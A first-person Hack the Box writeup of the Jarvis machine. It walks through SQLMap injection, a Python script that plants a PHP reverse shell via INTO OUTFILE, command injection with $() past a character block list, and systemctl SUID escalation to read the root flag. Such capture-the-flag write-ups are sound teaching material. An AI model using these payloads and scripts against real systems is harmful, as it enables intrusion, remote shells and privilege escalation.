Jarvis — Hack the Box Writeup 0x01

Vitor Falcao
9 min readNov 12, 2019

While writing this the Jarvis machine still up and I found out there is more than one way to solve this machine, maybe one of them is easier than mine. I will not expose all approaches here but the one I used to solve.


I made a simple enumeration which everyone is used to:

$ nmap -T4 -p- -v -A -oA scan

While running with the verbose flag -v I could see port 80 open and decided to connect with my web browser. I did set up my Burp Suite to get some requests I was making to the history so I could inspect later but it was not necessary at the end so let’s skip it this time.

Stark Hotel homepage

Nice, we have a “super secure hotel” website we can explore. Most of the buttons and links won’t take you anywhere, the idea here is probably to force you to the right place they want you to go. After a few minutes, you get to the room page and the interesting here is the URL, the first thing that came to my mind was SQL injection.


You can try it manually if you wish to learn or even remember how SQL injections work which was what I did, but here I will show how to use SQLMap to do it automatically for us.

What we have in our hands is a SQL Injection that can bring us a lot of information easily since it is not blind, using UNION SQL Injections you can get every information you need from the database. Let’s start our SQLMap: $ sqlmap -u "" .

The output is telling us we can exploit some types of injections:

Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 8040=8040
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-2183 UNION ALL SELECT CONCAT(0x7171707671,0x6c4145667857526d76456c6575436376564e5542714c524c53736971626c425079675a626a454364,0x7176707a71),NULL,NULL,NULL,NULL,NULL,NULL-- Prnv

Nice, we are on the right path, let’s try dumping the database with the flag --dumpafter the command which we used previously. SQLMap gives us this message:

[INFO] table 'hotel.room' dumped to CSV file '/home/<your home folder>/.sqlmap/output/'

So now that we have a .csv file containing the dump from the database we should explore it.

Stark Hotel database dump

Nothing useful and I have to admit I thought I was in the wrong way at this part but I remembered getting a shell with SQL Injection in the past and decided to try it again, but first, does SQLMap have it automated for me? Yes, it does! All you need is to use the --os-shell flag, answering some questions and you are in. Use the command $ sqlmap -u "" --os-shell

Quick note: at this point when I tried getting the shell I got a 404 code, tried browsing to the website again and got the message “Hey you have been banned for 90 seconds, don’t be bad”. Looks like something is watching us and trying SQL Injections.

os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'www-data'

Well, looks like we are the webserver user which has restricted permissions. Privilege escalation time.

From www-data to Pepper

Some people tried running LinEnum which is fine since it will lead you the right way but after some experience with this level machines on HackTheBox, I went straight to $ sudo -l and looks like we can run a command with the privileges of the user Pepper and it won’t require a password.

os-shell> sudo -l
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

The right command is $ sudo -u pepper /var/www/Admin-Utilities/simpler.py and we get this output:

_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | ‘_ ` _ \| ‘_ \| |/ _ \ ‘__| ‘_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/

* Simpler — A simple simplifier ;) *
* Version 1.0 *
Usage: python3 simpler.py [options]
-h/ — help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP

From CTFs experiences, you can figure out that probably there is a command injection, but let’s try reading the source code first with cat command. Running the command will give us the source code but the interesting part is here:

def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
os.system('ping ' + command)

This Python function is running our input as an argument to the ping command, can we escape it? It is also getting a list of forbidden characters and if it finds any of them in our input he won’t run the command what makes it harder to escape but still easy. They forgot to ban important characters: $ , ( and ) so now if we run $ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p we can run commands as the user Pepper. Now here is how we can get the user flag:

$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/

Enter an IP: $(cat /home/pepper/user.txt)
ping: <REDACTED USER.TXT FLAG>: Temporary failure in name resolution

All you have to do is insert $(cat /home/pepper/user.txt) as the IP and the flag will be printed to your screen.

Getting a decent shell

Since SQLMap shell is limited let’s get us a decent shell first. You can get the reverse shell code in PHP from PentestMonkey, they work well on most of the occasions and are reliable.

The approach I will take here is probably not the best but is the one I thought first. What I want to do is to upload the reverse shell code we got from PentestMonkey and put it inside the webserver so we can make a request to the page and run it, this is what SQLMap does behind the curtains so if you want to see how it really happened all you need to do is run the SQLMap for getting a shell command again but with verbose mode on which will give you the requests made.

[PAYLOAD] -4917 OR 4409=4409 LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpuvubn.php' LINES TERMINATED BY <A GIANT HEX NUMBER HERE>-- -- uEyp

With the verbose mode now you know the request which achieved the file inclusion, it is simple:

  1. -4917 OR 4409=4409 guarantees that the condition is true but won’t return any valid tuple from the database.
  2. LIMIT 0,1 is giving us the first result using the offset zero. LIMIT 1,3 would give us the second, third and fourth since it limits to three results with offset one.
  3. INTO OUTFILE '/file/path' will get the result into a file, no misteries here.
  4. LINES TERMINATED BY 0xHEX is where the magic happens. We had no results so we would print a blank line to the file but now we defined that each line printed will be terminated by 0xHEX and in SQLMap request the hexadecimal represents the reverse shell code string transformed to hexadecimal.

Alright, now that we understand it let’s change it so we craft a request with our file. Edit our PentestMonkey code to use the right IP address and the port you want, I will be using 1337 as the port.

$ip = '<inserted my htb ip here>';  // CHANGE THIS
$port = 1337; // CHANGE THIS

I will make the code minimal by removing spaces, comments, new lines, and all unnecessary stuff by using PHP Minify (this step reduces the size of our payload) and then with some simple Python code, you can automate it:

from binascii import hexlify
from requests import get
from sys import argv
from string import ascii_lowercase as letters
from random import choice
# reads the file with reverse shell php code
with open(argv[1]) as f:
content = f.read()
# generates a random name to upload to the server
random_name = ''
for i in range(8):
random_name += choice(letters)
random_name += '.php'
# crafts the payload
payload = f'-4917 OR 4409=4409 LIMIT 0,1 INTO OUTFILE \'/var/www/html/{random_name}\' LINES TERMINATED BY 0x'
payload += hexlify(content.encode()).decode()
payload += '-- -- asda'
# print file name created
# make the GET request with the sqli
url = '' + payload
get(url, timeout=3)
# run it
url = '' + random_name

This script is reading the file we are sending as the first argument, crafting our payload with it, generating a random name for our file, uploading it to the webserver and then executing it.

Run the script with the commandpython3 script.py reverse.min.php while listening for the connection with nc -vlntp <port you used> and voilà:

Connection from 51052 received!
Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux
19:04:58 up 4 min, 0 users, load average: 0.00, 0.00, 0.00
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami

Now you will modify your reverse shell file to connect to another port, for example, mine was 1337 and now I am going to put 1338. The idea is to open a shell for the webserver user easier and inside this shell, you open another to the user pepper.

After modifying the port from 1337 to 1338 I ran python3 script.py reverse.min.php without listening for connections because we don’t want it to connect yet, what we are going to do is running the /var/www/Admin-Utilities/simpler.py with the shell connected to www-data and while listening for port 1338 connections we inject the command $(php /var/www/html/<reverse shell to 1338 file>) and now we have a reverse connection as pepper:

Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux
20:45:27 up 10:21, 0 users, load average: 0.00, 0.01, 0.00
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
/bin/sh: 0: can't access tty; job control turned off
$ whoami

Now run $ python -c 'import pty; pty.spawn("/bin/bash")' and enjoy.

From pepper to root

My approach was running the LinEnum and it gave me a really interesting output:

[+] Possibly interesting SUID files:
-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl

Well, systemctl with SUID permission? This is dangerous, it means the file will be executed as the owner (in our case, root). We couldn’t exploit it with www-data because as you can see only users from the group pepper or the root user have permission for that.

I decided to use the awesome tool GTFOBins to help me with this privilege escalation. It gives us a script which I will make comments to explain:

# this first line should be deleted when running it on htb
# it is basically creating a systemctl with setuid for
# proof of concept, we already have one
sudo sh -c 'cp $(which systemctl) .; chmod +s ./systemctl'
# Creates the variable TF and set it to the path of a temporary file
# Echoes all this text to the file in TF variable
echo '[Service]
ExecStart=/bin/sh -c "id > /tmp/output"
WantedBy=multi-user.target' > $TF
# Links and enable the service created above
./systemctl link $TF
./systemctl enable --now $TF

I had few problems when trying to run the script so I will paste here the version that worked for me.

echo '[Service]
ExecStart=/bin/sh -c "cat /root/root.txt > /home/pepper/output"
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF

And after running this script I executed the command $ systemctl start this.service which printed to the file /home/pepper/output our root flag which I deleted right after since I was using the home folder.

Your service could be responsible for opening reverse shell connections instead of just reading the flag, but I will leave this as a practice for you so you can learn more about services and how to do it.

SQLI Defender

As mentioned above there is a SQL injection defender which bans you for 90 seconds, you can use your root power to read the source code and understand how it works, just cat /root/sqli_defender.py .

A note about this writeup

This was my first writeup ever so it is far from perfect, I am not an experienced pen-tester neither experienced with HackTheBox. I am constantly learning and would appreciate any feedback.

I hope this writeup was useful and that you learned something from it.